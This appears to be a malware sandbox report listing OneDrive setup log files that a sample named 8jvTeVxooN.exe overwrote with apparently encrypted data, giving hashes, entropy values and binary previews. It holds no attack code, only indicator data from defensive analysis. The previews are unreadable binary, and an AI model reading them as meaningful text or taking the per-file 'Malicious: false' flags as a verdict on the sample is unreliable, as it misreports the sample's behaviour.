SSDEEP:	24:t3AedZ/w4sb/fW/khatse6AqPyNpa8jTO231Obz:SyLgf6ZswpfKz
MD5:	0D56302ABCF30B4E2A58121819436825
SHA1:	6B6A8A5C38EEF0953DD0EBB830497170C53FEF5A
SHA-256:	2EA7447782F56526DDDE216FF0ED7B89C12E0559A8DE230F63CFB11A5E9A6226
SHA-512:	4A8594B96D339549D3E610513E03B76773D2B00868651491B0A95BAC8953E64777B27C63032DF97A32A073404C7A1DC1AFBDC1D63238176DE900C803B246D91F
Malicious:	false
Preview:	EBFGO.s..+0^.f.......h../{..U..e.i\.._....F<i..U!.^.[..........4)...7....EW.h.........[Y...wGS.(CC....`F.....u`....1...aL.GK.W....[0.$AL....>.`.....WL....Y}...U..X.4.......g......[.g..I.f..Cz.......a.%.p..{.b$.....A....+.\|...0.qC..p.}>....X.Zu...o..<..N.u..+.l.!q...(....g...Q.=.W=h\|?.s.W..r.S.Xu..;.FY...P).I....\|.W..1...s...E-0O.D{4PL. ....x.s0.@.$NcD.#.2.?:`-.....{.,.G5...\|......r..H+}...0=.WhD...uA.9.[.RX.BD..0...hiX.......v...sZmv.z,..3..x..=.9..{Qn.TUk...V.M.N..g.8O...@..&.~}Z.m..u..<cz..,.2.=..m-.}8!..L=lp D.[...=..N.}....ro.@...I_@.hLy.tLj.}....T....FC.y....(.[)..LF3.....#.0...I.!.R....<....N1H.(<......\|FMq....9.2.J.......M.#)-.\}...]..Fl....m..._.T....8.SRI i;..:.<..P.uQ.%..O.5*:.VG.C..o...I(.....=..W...R{......:)....B-..-..g^...4.rX.\.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.455939543220506
Encrypted:	false
SSDEEP:	384:CwMLRXTqb5xi24ZQw0QljAxBFrKAgQdtNYVcVKEZpM/bbFqIb00rbM:CwMLIxilZQw0WqBF+atNucsE4IIb0Qb
MD5:	1420CB3D551BCF72EF3055A3F240FE0A
SHA1:	FEA071CA8C0BEF2E7498B11AEDF09DD7D68DB248
SHA-256:	12C192E9F06D5D9A6AC46710D4D79630BA969ACE3485B5A334AF55183683CA09
SHA-512:	C37F1A22872B4D861080DAB184C456A616FC691925A0A5C5D529A82CDA183604D2132E1FAD6686F8FD08D0D64F1B39BA36E7E061F1FE99BEFA0F977DED879E93
Malicious:	false
Preview:	1.0./.Y Q..r..zAQ....m`...1......>....n`."...i.$j.p....\......b7...q.9.GH......D.@B.z%7...0..>.r....d.z...XD.O.....[/...../}....l.:.....H.?6.g.R......S...Dy`:x=.+t...B.:...e&.L.i....."...+=@....efB."...d.4._.AI;..F....x..4F....OR)...r?...;....L./G;oN..O..>.:..XcN..l.s.....{.x....H.....E.AI2"\M.b........I.@..Vv\|G.!...}..g.g.......@.@B...88pcj<.]...+D#Z).\..8.9..>..K1.K.4B....0.T.L~.2(....j<...r.4........#Qc.pS>..lM..a...6..L.H...uI.v.8........!`...\q.e.(..g3.2./..u..R(..8....& ..}.~G..x.b...f.+..`..c.....p\...%I.rp.....b......m..r.:...<.........b=_47W.P.N..x..P...0rT...)...u&C......W\1y6C.p...Gi....H.......o.....wep.G6MI^..B.[.rg.`.=B.G9..5..!.1..m4...N=c...plj...n\|{...5..xKWE.,j{....'....0...Jk..9..._.....6.f.....\..Jb........p^...vR%@...6....+@O_..vv....... ..![.8..,\|.L....Z5.k.V/..{s......1.>......5.)u....,+9..n.A.'.H..BLF.1..n.R.{bm.)<^.T..%....9n.}.....#V.e<.H.....[....[...tG..e.XX.....!..;.y....S.o..U...d..]h4...m:...5.\|.bF....>.4=.n

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9401140242803514
Encrypted:	false
SSDEEP:	96:VRk70d1FZu59phi4lmsNXm14rX4uKKnfGJ/XlzZziIT9H:DkKf059Ti4lmSSAXZVn+lPOIT
MD5:	51DCF4F714B12FED7AFE6799FC80F32C
SHA1:	4B744EC8EBF3E8362BAB55D0467269430A9CEA04
SHA-256:	AC006B82B589F8F4EF1FDDCB07004E10BEEFF64313E6F778D1CE7C375F9BBAAE
SHA-512:	D8512E3617B8AD16A8B44241B07C43459A1EAF767DDD60F575EFA0511411EC621D837464DA4DC21594C1462BD78F5A15E3C36150E572F4F7B0C2474FA76EED2F
Malicious:	false
Preview:	EBFGO..n.<z.^..K...X.xg_;,....t.{..E+..4H....s...J..1..BE.T...E..A3...E.}....I.2.. .UG,)..h..R......Y2.=...Q3Fd.}....6.eVd.......3.`Do...........u.....-Z....$N...a`.xA.J..y..e..i...W.D......x(I..Rh...p...6....&m......J..b.Z.yrP...[.k.d..7.;.l..#U.[.z5...>ii..j...\S.r.{....H\|....Bm...+2.C5..XK.f.)...cZ..................f.qhGS\|.8$....y.1..~.2.............J.O..HHju...-...P.4..]..90d.w].<DN.Hs\&.i.X7..HEg>.khF.P....tB...Y.1;.....)\...\|..`.(..k..f..~..0J....\...K.. -.{).r...9..=.......'...b.6a+.6J#R..^..U.@.....,BF..2cx..\|.`.:...P..J..8...3s.I..%.....Y..&.\|.......Kr9.AZ&P....n.Z.^3. g.......I-).}..X....>..k\|.#O.9...v8.m.......#L,V.....m.n{....m.^zY..\|&[Q...\{....<2eb..g.{z,.V.zR.\|\|.J...\|.=..@/s.-L../=V..}wI.wCm.?.j].==..P...#w....;. 1n.6.`].i_*w.).U'.K..Ma`9O..R.1 .`.=!...K..T.U.\$...Me...w=..}.@....C.%C..;.A.A\|0..H0..5qf...".>.......T....w..sV..........."D..q...6..+" .Z..q....(..5e.............].<..XA....{[#Z...^.7.n..z.a"....l.x

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2063230649145283
Encrypted:	false
SSDEEP:	24:u8pvzCeKbV47uhbt7MOr4UIVzKt7ZxRxEpm//CrM2PObz:vveejo7MgxMpqKrM20z
MD5:	0EA271C0B3B78725E8CB4834353F60BC
SHA1:	F676D749E1A74E35906DB25229E6EAE253BAC5A2
SHA-256:	C396A4B5AD70ED1959962971B277B7A38E1B0104D13345C084966B7CAD053B6F
SHA-512:	548504969AF4E628A179D385B59A1CE25848089E3572562212896D22313BDEB44A8C555803B02707F7FE112AC8FB7835AFDDAB4AC90D185BC21A677AD9152838
Malicious:	false
Preview:	EBFGO...KN9q}.O...[3.....asmU.,.....r% .p:.$.%........y....`{...&.....T]..2.q...M}...f...i.!.....^Eq.......9;..E...M..rg<p.x..R\3..S..-.6.D..[%2P.8.d.@4...E..]...94G..Z...5.Php2.7."b +.....M.;..'A.U....G.Yb[..n.[{$......B..]....Te^..a....4.C..,.[K...O.!u.w#.D......p....<..3.}o..6.suP5;]....b...;....+...n.IF...K. ..N...".P..z\|../.~:....Fb{..e.].M.<.[X.f.zSZ...&v.L..:..:y..ZZ.....~)......""S.VJ6......,.$&.L.+....TR...9vQu.._&.`\..A[..E~5.}.I..Qp...2. q6K9x(..\{3YMi.s...N...aob.i...}DzAb.)..L..oa"!..T.=p..g4......:....O...0?..A....)..t.q.n.....D.P.I..N<{...j..(.F.."w.....&.P.X.....S..@.....L(...?..@.x\|q.......cx:....W.5..HI.njw..rh..v.H.()......!...a......G[.e.......q@.[+..T......o."...._.^$.Iy'.....4u....%cz.u.......\P{...>$._..h.H.wg..t...r..vfZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8937028717750066
Encrypted:	false
SSDEEP:	384:3t2Pzkhhg66mkkGanLXbfcuFsr8YhYMyKiCq6vLhKUitR8u1lKL6i:3t2Ihhg6ERaLBYhYRKiC5LhhittKL
MD5:	9EF4A5EF05C14662FF6B75A04A84A1E7
SHA1:	7711F6761377AC448253AB1B987246E9A2E0692F
SHA-256:	283BED9236C21FB6CD65BF7FA6FF24CC5001ECD743B589F589BE6C7870F2E6CB
SHA-512:	ADDE5909D481FF33D2B36187322A2B628505AB592A124F6937D6EB381E7053E5E28D0FB2C8B58F5DF730AD7504E0FD791B5E4B2A4A24CA4D11883FB7269C5423
Malicious:	false
Preview:	1.0./)...$....u.2. .d.=..T?.Lu.e8.Z..`{.D.E....O..8.J_s....Z!........G.<2.F~$$.d'.!..y..."..?I...&..Y.t........vi.y.....[.'.N..v.Z!rpM2..`.......3..t ..o>...>.%..2.^....&....w(....)...!.........D...#......Nf.T..V&(.!.6..;a..nF.,..a...h..D.<...7<.X......#..:50.+...a..7....d..9..e..P...?{.n/. !d..<......=.........l#~O .7.f3.&...[+..".........:gcMK.(....;....f......^@.....UP.gx....Q..O...e...O...Q4../Dt.m&P....w..3.c)pL..D..\|.C.A.@-7.....YD....s8........P..A\._..O..y....^Z.Z. ..{.4..\m.......'t..<...E+.,.`$...E.,.&d..A.b..........+../..W..!....D...k....b[..'.(p\|.G^.].(..C4M.8v./.w..,.....aoeMxR8..e....K...^-.jA.@I..r.QG6.....nd..,Yn.......V....Z.O.."-....CH....%Z...n.bq.K.i..9.#...&]k...r]..p....j.....9.z\|M!7.n.A....8.....&....p.I.0Lp....A.7..._L'.4.:..{......u.d........J..rOz?.h.H..Jh1....hV.k%t.,L B9.E..n1...........)..tY.Z..l.xs..,^..W].{........X..2..[.....L8q.X.2^.R.Z.x..v..3)./.s.x....R....p....}yQ.(Z..VJ......y..!.?..........

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.413878320317553
Encrypted:	false
SSDEEP:	768:BCmhN1ZayChMA4Pnh15QOISbb9+JyvHa:Q0EyC94prnB+Ju
MD5:	C14BCE24DCBA06E0BD2D9087ABF131C8
SHA1:	49D33C5F49F0C66E58473B90A3BA69CD3C965F08
SHA-256:	15AE7305A88639DE160087A1B9CC3380CAF96E64EAE0763A10D780A67F6FE644
SHA-512:	43AEC6A5D2F3AD693EB646962FE83C661790FC4891CE503F48F5A30056DAEDBA06B77BFF9125185FD7CA19E989D0E39F5B39397C0654042CED72E24C454829BE
Malicious:	false
Preview:	1.0./.=.]k.,...U\...2..g........H....:f.._].n.....]....H...Y.g.....q.......,..JHx....kB..n.D..=.....^4OJ..N......l.i....l.....N..[_>.)\|s.(.4.y.2I.).....z.z.B..g.n....8).......k"..<..^..;.qqQ....9...Pry.4.[.17.C...0...B3.....V.......f.[....v.....p.T1.F.a..F....+.;}s..NY..W.ZR..R"8..N.]....wQRR...F.~.>B......p....p...as.Xd.9]=....."..+.g.m...A).v..E?..Y`.h.r.{V1.#Vg...@.Y.R...>.....M..!...]-..a......[....P8...G.`...._...]....b.5.I..>G.3.R..;=...[.H..U0c{2Y....V..@d46f..a....l..X......Dg..R..i....DM......x"..s6......i.m5.....O......[.{...}.I.....t2.e.l.6CgI...+...-.7.-..rLv/..j....DyB..J./.@JL...*.e.Ye./8/..6.^'.....k....=h.y.....S.?..?.}/..zM.fU.[.L. M....:AFH..B..I..J.2......8.u......Yeb)X.q.ZW..ZD.z....l...T..y..\C._......!.o.....3a.^~6..d1..n..x.....n..#)w.17..g.Sp.1..._L.j.KO.....Dh.....+.}b..r..%..H....K..<.n[-#.k......f....y..b...4..b...FK...y.r5n5%..L.P.e...l.....D\kD.~.y\b.j...n.C..o...<3.?I.?..#9....vk...J..."......?.....O.E.tr...)

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.556194267054468
Encrypted:	false
SSDEEP:	768:vc134U3VPkCOQdU5NoMsw1iIrcqU6yBl+tefyk9:vc134U3VPkCTWxs+iIrcqU6h2
MD5:	FD82F7881ADB94435B4C1BFD89BF1B0A
SHA1:	F5FA58BD169754CCF9B386760789ED11F99E1FF2
SHA-256:	511D6A24C545EE24DE732B726C17017EEE2C1BD583CEEF738FB94AB0D6C65B47
SHA-512:	4AF140B1850D6A76FDC0D393375767503B8D63A47071DB1ECFBDCB3F4CEA8095FBEB7C296FFE23E9F3F3F24FFFB886DE240C9D44950F00C629B3B24F84210FCB
Malicious:	false
Preview:	1.0./.G_.OH... .!.g.<?...A...E...2...f....q.K5...o7..P...AL-.....h3.h.5....R....x!^7E....g.....a.B..v.Hh&.I.H2z....._`y...\..u..O..c..<h...nj.]..E:....h8.n...1..@%:.o..BS.q..20.xM..+9.-K......Z.Gh.\|.J;...e......An..i"..C....'Qz..6...l..Mx..y.t.e.;..^....u..........eex..R..l..<..<<....Ma.zF."B..9.....)......E...Y.Z.N.BH...G.!L..x9.j:O.c... .j$O...9.........(+..../.I..+.+(.$...(.!.K..G..}6...h...l8...J`TE.\|(f.B......?./.{6..\>..L.^z.y...i.f.Q..;-....Y....E>Dc.#c........_.J...n..k.v.........f.U....:.:V..9.G={...J\.M:.. ..b"?..$.t...........s...[YqH..j..]..w..../....,..b...#........a.u...DW._..(x,.....r._..+l ./.eN/..fL..e....d.P....e........Z...#..sGsSr.e.:./.......<..+b..e.....h.H.`.Q...us E...&.nJ.).=.\|....O......1....LE..5.S\%...gH6...7E..z-.......F....9....;...lH[.$iP~(.......\|.=.....t..R........C..JE!.....I`.2(.\|...kOQ.O./.?...(....A...$ .B.{.9. .G..\|....m....2U...p.....aP.....M.u.SpE$#.Yy..s..Z`......#o..........8a.Q......\..Y.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3125484696537628
Encrypted:	false
SSDEEP:	96:5IYyKqXjWAGOinuIwpnahd0VRjFYnlhFt0hmKFPxIIXjQK7pbflvjdlbWPS6+Ks:5IE0GOinhAVRjOhFt0UKFJ1M2dtjL8
MD5:	54EB78E74519D8715659CCBA1B53E69D
SHA1:	B6662D2FB338AEAA363F095EF4EA6354048A96D3
SHA-256:	D8528744F6E6934672972BF603D56119D20C0352630E45E726E7C52DE0441439
SHA-512:	B62240EBA567F0281BC04AF0C857B98AF421B52E84F026F51625B1737A6C32AFCC3ECD91D2A22220A202DA192D14B511DF7475F5DEC3F798D9EE2DCAF0FFFAB5
Malicious:	false
Preview:	1.0./;..r..b.....o..tV.....[.....H.#.[2.......-..!..-.a.U.S..3G.\...D.{...Rr..D./i.U...:H.1.Ha../.S..H.\@.6.)4.l.)O.#.C-..'.....OjEFC=..'.5...././fZ$.].;.',.t6O.....K...,-.\|(;1...df=.t.u.az.x...f...&.K.hh.]........9.{g........Y..K..m.e.g....1..J~.E}=}c.(......hW.L..{2z. .G........%.5..!'RdI[......?....0.Z.`S2....?...+..Od&F...."..&j).g..S...#..u&........w...,C.In...g.u:J.E.8(h.4.p.f_....."..aE.u.Ms\...p..s..._k\|h......H......DPV#kJ4.!.D......t...L.\d..aF. .....c.-,AH<R.f...\|.....RM.BN..Y...F.....D_.4.Q...cJ.=Z.m.-.VU.5..?$y?Mbk....?.....o.i..52...2...G...)..B......<...V.DO].....U9...................D.2.U.vO.O.Q...@.8s}i.F......l........>c..[....S.....%\.+.(:.H]....8:.....g(S.U8.*w...yq..Y..S........r..'_.CJ.V.D..R..9M..V..)o..=.O.J...E..=... C\3/q..[..0.BS.Z...v.@=........X....W...~..F..v.##.........3....{.......Y...n6....j.hUw\.....9.3.H...&t$..J)..S...D.c..:g.a..`A.];~..dR.3.#;&..+.".a....h\|9...0P...Jp..%. .a.Y...-!`.1..6s...&+p..\..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5746519436584573
Encrypted:	false
SSDEEP:	96:zOWhG5FxtiQntjjMa2K+2ete2x+y+CfAD:zmXi4tjgTl0CUCY
MD5:	0CEF154F5C1BF836E08E4BE2428119BB
SHA1:	DEB41D8D98422227DDB5EFA22C3A1E6C25C24A35
SHA-256:	A72A194E1638D50CBDDAEA9818C2BE3245D6915BCE7BECCB3DE955A8692E7F6F
SHA-512:	16278A5A6AAFC0B87AD3FA209C22A19CD0EFA690259D28BAA79E1090057C62C24EC23F24F245F9D3460883AA733F244AAC8A8507F44048129DDA7C0365B3B54A
Malicious:	false
Preview:	1.0./.C.rs....>.y..E(%..[..2...6.!......~..$Q..2 Q...(HA\..=..l.c..9n..,z....3Q.y...p.0..2j..<?....~.A....`@.#73.qA...y.>.dt..=LQ..~sm.H.k..b0x.D.v.3.J.t.q.q.Z....{.....8.!..>..H..Re..\/eR5.'.2....Kc.R..90.0.l....l5f.....}w+#Ibe.%....5d<.w....]..>.....c,z.E..K....y5.j,y..<9=.Fh....Z.eO9....h...Y....D/.E.}bru....`..........u+..z....a,.m..9.......3....t..C.O.%.~.....K...>r2...}.'3.s.....Wb..v.%.g..P.8..<e.....-5...h..\|.A..;...}/`..K..M.dV,E....B.......^.@......];,....!?.(.V^E9{.8.s...Y..\.Fr.l..i...;*pf...wOopI......y.....Rc.....#...t%.Dm.....-.....pD...9.e.<;.^.$....f..:..7.dB..6....&.R.!...sD}!...1.q#...{.....s._F....\}!.S.x.7.Jc.u)1..X....s&..R.M.....!_-ZQ&9.............hO....)./._.r8..Fd..R.L.A..P.......c....G.......\.,.Ydr^.i..9...1.s.....i.........vB ..`......d%M...#.....A@...$.a1.}.W.....w...:5.n..{../....H.^.........c<2u.@W.2.(.<.h.....~.d..@..c......5 .N....Mn.Vo.4DfBQ..v^..3...:..U%@.OT.g.....~.....6].97.)....r.jq\,..=

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5752643270181682
Encrypted:	false
SSDEEP:	96:xlFfk+4YtduZ0PMbDmYWcBh9mpTwTtz8FrP:xX2Y7nYdp6Upz
MD5:	F070E07C68F4592840CA9C115E68DFBF
SHA1:	9D49153D2D3A1D0854BFBDCAA505D5ECBABE39C5
SHA-256:	C88B3CDE56393B5F23E95DACE45286C3727C98792219E2A1C7F9487C0F18C7C6
SHA-512:	AF5EEC5A1D8A328266C0541D19FF32630CE4E8C9D8A4730C509725687D0F9FB73346D3C51E6C18A25377C5FAD7D50A18A4FF8C03AC1045881184D2C3CF5538D4
Malicious:	false
Preview:	1.0./...s.z.....^.^..r..b.6...Y...K.X0./@.T..W....P.}...$z.t'.n...Kk.%.....;.e..\..t+.5..O...n.S...g.v.V&4.!.{6. ......G..0_F...P.PgH..0..peS.z.6..#.u.YO.....b....].s..\.5_K5..#25$...3.29..zn.....h#....\|...`.!...$a..}H.....'...S...<.....M.\...#.......u.?..#...]./5,...b.f..d.0.~:G....[9FNG.z6.~..X.+.-.8...Mv..t.....b.4.......'..,.0u.I...{....b>.O.C$..;G..._.x..?xC..1.........w/W~....../..;.C..3...d...]R....Z.d.....M../a.QG..0......>.5.c:'S..,F..B.K..CtY.L.X.....Wx..uoo.....e...!....]~...\|..u.(;.X...K....A.OB........>.sA,...<...7C.M....L-...1...._j.'T...p^...H.U....O.1DY.a.l.)..^.!p.?{6I..=...7.-j<.p.........ya.f....73h6.o.]C.F'Fp....v..GA.O.!...P.........>.+..LMA..o+...^=#o.....j...>..s...P...`.(k....Q6%F...[6.k]!.h...1lR#Ru.N.'d.@..T.&.......m.:.]./.1.6.8.#..._@.....`H..p..LP.Oh.3.4;..W.>...r4...N.2.\|.......(.,.7......D....W!..._.!a3.po.xo.F...:...vN9m.....7..@gt..R`:.m.l@..9....X...p..o...p..F......M.X!&... ...}..A.>Ru..wJ<\|h....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.726630258520273
Encrypted:	false
SSDEEP:	384:vEKDN1BTs7l5l1HvXyslyk9vXoKHM3Hs66kRBm8+gA:vX4lJvyslyk9UjRcdgA
MD5:	850C3DD2D9E65F8F2DFF37B2E1CE24E2
SHA1:	8BE8CF27A72A5A65A54BE8D390BBFB691EEB6C16
SHA-256:	AA5096EED9F4016950DFBCA1AE4A94762A82C0128343C0729A5CBBA9389A28E1
SHA-512:	14856E59EC333D7D74D44CD25C2298DE5DF4D9F402B672398BA6FDB223B29BCD0A8A465B4A4EC422EDB2C04796F67B5FB762B22A323FBC884E8601948491DA20
Malicious:	false
Preview:	1.0./.a.9.hMo.B.....^>q.p.D\|..Eu..\2#i..W.[...U2.G.[0]Ab.gA&.%.xQ.....=.P...Vu/ .i..{...aKX<.6>B5)../.+....oY(9...k..e.S......I.&WG.....Q..5.y..LP...[)D...Q.z.c.mn`>.). _.1.ak...q6\Y....2.5Z.P..G.eE..x...DC.[.O.......u.My.S.\HHC.N]......Q......M..';s..y....su....g=..a>...L'\|.{..........2'.0...g...L.!....\|}.w..8.~/..+id..%..(_.u..!...K7.......-.+.....[..c..s.aj.w.V....2f2....>.l.xA..I...,..k.J..).d....g....B....l.J'C..5.;2.E"I{....E,.)!\........^..'.o.0".zX......)..u.&_......i.......6....N...s.uyQ...e..P.y.j.S..J........;v..........}..Zx.*........2/O.nwxe+..O%.kI.......7P....l.E9Oc..N..mJ4.j.i..Z.qr3Jv.(.....Kw...UI.5.../Z.x.e..e$.55..I..3...sA..:....c....0.=..E.6....4..T~...h....{.GI.a.N..5Ct...@....e5.%..f.6.;2'....!....a.w.h)%..^..y.3..=}=.<. .GY..D.......M......a.......T-....A......cY.?..D.o.y...I...)...Q..C...............t.U}..z0......g.%C....6c\gV.q.>..W..]=.Z#.....J.%.bp..a.....>.._.I..V....]E${!..V.l..G_`......#.%........as....;5..7..O...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.6019085495084506
Encrypted:	false
SSDEEP:	384:wtmwU9FIGHDWgZljU+rzy/7jYRHKWqZB3:wt3U3Ic9lKjYRHKHZB3
MD5:	B7DDD871AE7655F2738C54B77A79F79C
SHA1:	29601908FFBAF91A6B87EEBECD86AE84F569F101
SHA-256:	2550295940D190A6AE8BFB1BC9B6E8852E0B8044FD89F72A8564FCB361A101F0
SHA-512:	AAE73D79E6E03BCFEB9B2EB46F1455F6E2E88DF3FCE91F700603570F3D372F2AB2A1943AF0C8FF029D9FD324C9CCA641EA8D0390E6DAE665F33E6505DABB222E
Malicious:	false
Preview:	1.0./Z._e..&F.!.\Y...".A......"...R.n..#....d;s....`../...=(..'.r..6t.Mj....o....3....n.~t.....td&.f3.Q..+.1.`..."..huq..bc..3.a......0e:.:.."zI.Y.4.$i.n<.L.;..BF.."@..0i..e<mL..n.k...0.#.M.9S\cX.e..(.\|=.R.M...\|.<....d...2..Ww.jr..Y"hJ.d(......^86=........2n.......5..o..sTC{1...;....{.Uo......K.L<..s"#....]?.P.].'M.....E...Qb!.{....=..........Ao.S......@Y..:~..^.6..g...v.7p.Y..2..........:5.A.9[).E.~.l.l.J....R"...-.......4..X.h.g..V...V.;...X..3...$.l...&....s..%.........l....gI.7f..7.j ].5...Q...58U..5.y;\|@.G...r....GH.w=t.0..P..n.f...>.'.n....iN..........%.....].=-"{2.N@...g..122.y.dg....R....g...}..7.......C....k<...E%...7..'4........s...N.x..$.C..x.......R.....u.U.?.e{1.8p.D[....~,..).J.y..fr..>.q]u?..Fj.S^.....h.s.M?....".j..W'.Q.....}7..&t..J...... .6^?L.N9Z._..'%..S.=...I..w...B.m.....Y..)..'.{W.........Ky.u).....=.ept/....Z..Z....1.~...U..$...#{. .p....(....Q*.$.fE...o.={...Cx.o@..7..P.a.g.m.{..1..$.....s

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.37992483875027
Encrypted:	false
SSDEEP:	384:vyNrI2i3As+Qy0shMo0X6vkibWUKN68pJ2So:vELi345hMo0X2nKs4zo
MD5:	35F64E5F78262B034DE6B619E18DCF99
SHA1:	2E15F597B845FE5217F3BDEFE2B9FD5F6B7A766D
SHA-256:	6BB080E97C7F74046C5E8BAC772353E08B7E8626FD6A77AAE1E9A7408EF12A51
SHA-512:	20D6E35CB33F8B05A5756182258185EF4D59C2233BFE0A3D21B7B53C2D0BB4DE33C57DCCE0D60DF0D13109CA00C008ED1AE8E2F355FED42CC2E6F7119A949E79
Malicious:	false
Preview:	1.0./.e...\|.H...3Wu.E...!..P.Z....rj.l.5...Vb.J......&..Oq...M..X#>6..Y.\..R=.F.U.:_E..;]..a.....^......'.A....A.V[eO.'#.h..`.X.b...OK......}.`..s...../......T.p.1:.N.DQ@U.X[^l..]......FoBF.J..d).!.. ..H........#........\..#.\|4...........-'?...I.lq....L5....12.....8.8k.........S......wr.R..b....L.'....-...G...hlx....q./.V......6.x."..j..N...Hb4.../..."b.9.e..S..E...\o.G.h.4..6s.y..IZk...E...........V..xyO.\h....(:#oA....?}.......x......A=..w..]\|..`'a....l(.qr.^6.{....33.>..Y...t.....w.;..h.D!,)..r...8}jX.q.jz...M...Z._.'X..)...~X...=..3.#.>.M....HM{.X.~..}...R........m...F\|]`...........Gf.M.D,..4.....#^%."3..'4.RI\|..~....F.n"].[...P#._......L...o".).oKC.''.b..0..~...w8..E.UAKi......`..;.~.5}.8. .P.."v..d.....c.;w.vt:....*4..#.......[$.......Q.R..).5.Bi..eZ..i..RO~PK1o{. `.....q4Z..1./Ln.V.w......R/)(..v!.8...b.&.....p).e.i..H....p.z...q...&&.9dj..Pd..f.T....N.j<.b..i...J9..#.Z.._.5%......cNz...J.....X...y......}.R....S...8..b....Q

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2001808058525583
Encrypted:	false
SSDEEP:	96:X9EmIZWuaCYJmgV/VkJWNZwWCtgB+ODsWIiod+KXOIBgxvk9U9K7ut/DwBQ:X9EmuWpLnfAs8goODsWIiCKIB8xsObw
MD5:	255E9A0752E2DA26FC66CBE76EFA0F4D
SHA1:	6A3D4E098721B77BB729BE65552271959414D339
SHA-256:	DFAB82E930BE5219A1A1D02D231479D59B235EB4CFBC94B20DC0D7CD37F941E1
SHA-512:	F9D780718C4FB9935250D3D49598EAD0046EDB7E5DA418A6DE16E145D73A446FDA0CB669A7E276C61B213A7F7B9C728F547F42977D58AB0E7C377E65446F561E
Malicious:	false
Preview:	1.0./......A...a`.`.F."...1...!nLF..G...i.....K%.;......2...'..B....`I%.&..z.d.v.....&....J/5\..6....s..s....,.....I........b...K.......~..&..,. d..6...E.0.G.....%......1..5K.++.q0...!.....j>.RO...l.6.z..;...f.c.)?.+.....0...'.+.....3.+..F.w....P =(.8a.;..t\.)...}........ys.#..1U..9..2k...iXkT. 8.d...~..,#{..PC..5.7"....C5j.o..O.....q..{...`w....lw....J....9.K....0/...\...<..;A.KC1.1......zD...........S..0..l...V.J.}.Y9o..v.V....N/CO\..D....Y..\....v....6.O.fg.AXD%.A.?...QL.?.2(.3...~XH......T..)...Y.\|f...lP......d?.,i!.DS.._...D(.t.8.<.1d.`..(..7..;.J..9&.....[P...Gw...V8btC..J....u..7..kB.7...\|.E.S(%Yk...4E.W8.Y.k..GN...[.A..o.F.".Y...y.....cKe..;r/..:.Nd.._Z..:...N..mO...s.{a.....3.@C_.....~'h....k.<.7Z.....<.3Y..2..^e.C.......M!..?...!........6f.....A...u....g.....]..........mj...Q.R...)....=E...Y..$.`O....\..O3`2.....>.Ivw....<_z.:.I...T.!.4.Y{.N.Y.-o.F./..i.....6<.s..bM....E.!.&.(...:`..\|s....N.......u....P..g.^.F...p..5.I[._m..R.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.763494199851414
Encrypted:	false
